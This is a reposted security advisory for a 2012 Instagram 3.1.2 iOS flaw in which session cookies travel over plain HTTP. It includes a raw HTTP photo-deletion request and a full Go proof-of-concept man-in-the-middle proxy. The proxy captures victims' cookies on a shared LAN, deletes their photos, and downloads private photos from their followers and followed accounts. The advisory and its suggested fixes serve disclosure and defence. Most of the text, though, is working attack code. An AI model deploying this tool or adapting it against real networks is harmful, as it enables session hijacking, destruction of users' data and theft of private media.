Instagram 3.1.2 For iOS, Plaintext Media Information Disclosure Security Issue
- Vendor: Instagram
- Product: Instagram 3.1.2
- Tested on: iPhone 4 (iOS 6.0)
- Vendor notification: Nov 11, 2012.
- Risk level: Low
- Link: Secunia Advisory SA51270
Instagram 3.1.2 for iPhone (released on Oct 23, 2012) is vulnerable to partial eavesdropping and man in the middle attacks that could lead an evil user to delete photos and download private media without the victim’s consent.
Details
The Instagram app communicates with the Instagram API via HTTP and HTTPs connections.
Highly sensitive activities, such as login and editing profile data, are sent through a secure channel. However, some other request are sent through plain HTTP without a signature, those request could be exploited by an attacker connected to the same LAN of the victim’s iPhone.
The only authentication method for some HTTP calls is an standard cookie that is sent without encryption when the user starts the Instagram app.
An attacker on the same LAN of the victim could launch a simple arpspoofing attack to trick the iPhones into passing port 80 traffic through the attackers machine. When the victim starts the Instagram app a plain text cookie is sent to the Instagram server, once the attacker gets the cookie he is able to craft special HTTP requests for getting data and deleting photos.
Suggested fix
- Use HTTPs for all API requests that could contain sensitive data, such as photo URLs.
- Use a body signature for unencrypted requests.
Example
This is an example of a call for deleting a picture:
# http://instagram.com/api/v1/media/12345678901234567890_123456/delete/
POST /api/v1/media/12345678901234567890_123456/delete/ HTTP/1.1
Accept-Encoding: gzip
Accept-Language: en-us
Connection: keep-alive
Content-Length: 0
Cookie: ds_user_id=USER_ID; igls=USER_NAME; sessionid=SESSION_STRING
User-Agent: Instagram 3.1.2 (iPhone; iPhone OS 6.0; en_US) AppleWebKit/420+
Using other API calls, the attacker could find the IDs of the user photos and could request deletion for each one of them.
Proof of concept
The following code intercepts Instagram cookies and uses them to delete user photos.
Additionally, photos from contacts will be downloaded too, demonstrating that a third party could access private media.
After deletion, the Instagram app does not refresh itself, so the user does not know his photos were deleted until the next time the app does a clean start.
/*
Man Insta Middle
Proof of concept.
November 2012
Carlos Reventlov <carlos@reventlov.com>
http://reventlov.com/poc/instagram-for-iphone-man-in-the-middle-vulnerability
*/
package main
import (
"encoding/json"
"fmt"
"github.com/gosexy/sugar"
"github.com/gosexy/to"
"github.com/xiam/hyperfox/proxy"
"github.com/xiam/hyperfox/tools/logger"
"io"
"io/ioutil"
"log"
"net/http"
"net/url"
"os"
"path"
"regexp"
"strings"
)
var userIdPattern = regexp.MustCompile(`user_id=([^;]+);`)
var fixInt64Pattern = regexp.MustCompile(`([^\\])":([0-9.]+)(\}|,|$)`)
type Victim struct {
cookie string
userId string
Done bool
}
var victims map[string]*Victim
func GetVictim(ip string) *Victim {
if _, ok := victims[ip]; ok == false {
fmt.Printf("** Hallo %s!\n", ip)
victims[ip] = &Victim{}
}
return victims[ip]
}
func (self *Victim) SetCookie(cookie string) {
self.cookie = cookie
}
func (self *Victim) instaRequest(method, endpoint string, body io.Reader) (*http.Request, error) {
req, err := http.NewRequest(method, endpoint, body)
if err != nil {
return nil, err
}
req.Header.Add("User-Agent", "Instagram 3.1.2 (iPhone; iPhone OS 6.0; en_US) AppleWebKit/420+")
req.Header.Add("Cookie", self.cookie)
req.Header.Add("Host", req.Host)
req.Header.Add("Accept-Language", "en-us")
req.Header.Add("Connection", "keep-alive")
return req, nil
}
func downloadTo(uri string, file string) error {
os.MkdirAll(path.Dir(file), os.ModeDir|0755)
res, err := http.Get(uri)
if err != nil {
return err
}
fp, err := os.Create(file)
if err == nil {
fmt.Printf("** %s -> %s\n", uri, file)
defer fp.Close()
defer res.Body.Close()
io.Copy(fp, res.Body)
}
return err
}
func (self *Victim) getFollowing(userId string) []int64 {
data, err := self.apiGet(fmt.Sprintf("/api/v1/friendships/%s/following?", userId))
ids := []int64{}
if err != nil {
panic(err)
}
for _, userb := range to.List(data.Get("users")) {
user := to.Tuple(userb)
ids = append(ids, to.Int64(user.Get("pk")))
}
return ids
}
func (self *Victim) getFollowers(userId string) []int64 {
data, err := self.apiGet(fmt.Sprintf("/api/v1/friendships/%s/followers?", userId))
ids := []int64{}
if err != nil {
panic(err)
}
for _, userb := range to.List(data.Get("users")) {
user := to.Tuple(userb)
ids = append(ids, to.Int64(user.Get("pk")))
}
return ids
}
func (self *Victim) pullPhotos(userId string) []string {
ids := []string{}
photos, err := self.apiGet(fmt.Sprintf("/api/v1/feed/user/%s/?", userId))
if err != nil {
panic(err)
}
for _, photob := range to.List(photos.Get("items")) {
photo := to.Tuple(photob)
fromUser := to.String(photo.Get("user/username"))
images := to.List(photo.Get("image_versions"))
image := to.Tuple(images[0])
imageUri := to.String(image.Get("url"))
go func() {
err := downloadTo(imageUri, fmt.Sprintf("images/%s/%s", fromUser, path.Base(imageUri)))
if err != nil {
fmt.Errorf(err.Error())
}
}()
ids = append(ids, to.String(photo.Get("id")))
}
return ids
}
func (self *Victim) deletePhoto(photoId string) {
data, _ := self.apiPost(fmt.Sprintf("/api/v1/media/%s/delete/", photoId), nil)
if data.Get("status") == "ok" {
fmt.Printf("** Deleted photo: %s\n", photoId)
}
}
func (self *Victim) apiRequest(method string, endpoint string, data url.Values, buf io.Reader, contentType string) (*sugar.Tuple, error) {
var req *http.Request
if buf == nil {
if data == nil {
req, _ = self.instaRequest(method, endpoint, nil)
} else {
req, _ = self.instaRequest(method, endpoint, strings.NewReader(data.Encode()))
}
} else {
req, _ = self.instaRequest(method, endpoint, buf)
}
fmt.Printf("## %s %s\n", method, endpoint)
if data != nil {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
} else if contentType != "" {
req.Header.Set("Content-Type", contentType)
}
client := &http.Client{}
res, err := client.Do(req)
if err != nil {
return nil, err
}
body, _ := ioutil.ReadAll(res.Body)
result := &sugar.Tuple{}
strbody := fixInt64Pattern.ReplaceAllString(string(body), `$1":"$2"$3`)
err = json.Unmarshal([]byte(strbody), result)
if err != nil {
return nil, err
}
return result, nil
}
func (self *Victim) apiPost(endpoint string, data url.Values) (*sugar.Tuple, error) {
return self.apiRequest("POST", fmt.Sprintf("http://instagram.com/%s", strings.TrimLeft(endpoint, "/")), data, nil, "")
}
func (self *Victim) apiGet(endpoint string) (*sugar.Tuple, error) {
return self.apiRequest("GET", fmt.Sprintf("http://instagram.com/%s", strings.TrimLeft(endpoint, "/")), nil, nil, "")
}
func (self *Victim) TakeOver() error {
if self.cookie != "" {
found := userIdPattern.FindAllStringSubmatch(self.cookie, 1)
if len(found) == 1 {
self.userId = found[0][1]
}
if self.userId != "" {
self.Done = true
// Getting user photos.
photoIds := self.pullPhotos(self.userId)
// Deleting first page of photos.
for _, photoId := range photoIds {
self.deletePhoto(photoId)
// This break was left intentionally here ;-).
break
}
// Pulling followers's photos
followers := self.getFollowers(self.userId)
for _, followerId := range followers {
self.pullPhotos(to.String(followerId))
}
// Pulling following's photos.
following := self.getFollowing(self.userId)
for _, followerId := range following {
self.pullPhotos(to.String(followerId))
}
}
}
return nil
}
func waitForCookie(pr *proxy.ProxyRequest) io.WriteCloser {
hostn := strings.SplitN(pr.Request.RemoteAddr, ":", 2)
localIp := hostn[0]
if pr.Request.Host == "instagram.com" {
if strings.HasPrefix(pr.Request.RequestURI, "/api/") {
victim := GetVictim(localIp)
if victim.Done == false {
victim.SetCookie(pr.Request.Header.Get("Cookie"))
victim.TakeOver()
}
}
}
return nil
}
func main() {
victims = make(map[string]*Victim)
p := proxy.New()
p.AddDirector(logger.Client(os.Stdout))
p.AddWriter(waitForCookie)
p.AddLogger(logger.Server(os.Stdout))
var err error
err = p.Start()
if err != nil {
log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
}
}
FONTE : http://reventlov.com/advisories/instagram-plaintext-media-disclosure-issue
0 comentários:
Postar um comentário